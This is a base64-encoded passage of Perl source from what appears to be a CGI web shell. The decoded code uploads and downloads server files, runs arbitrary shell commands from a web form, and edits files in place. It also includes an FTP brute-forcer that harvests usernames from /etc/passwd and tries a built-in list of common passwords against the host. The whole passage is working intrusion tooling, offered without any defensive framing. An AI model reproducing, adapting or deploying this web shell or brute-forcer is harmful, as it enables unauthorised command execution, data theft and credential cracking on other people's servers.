dXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgl9DQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCXsNCgkJJHw9MTsNCgkJJENvbW1hbmQgLj0gIiB8IjsNCgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJew0KCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQoJCX0NCgkJJHw9MDsNCgl9DQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJew0KCQkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t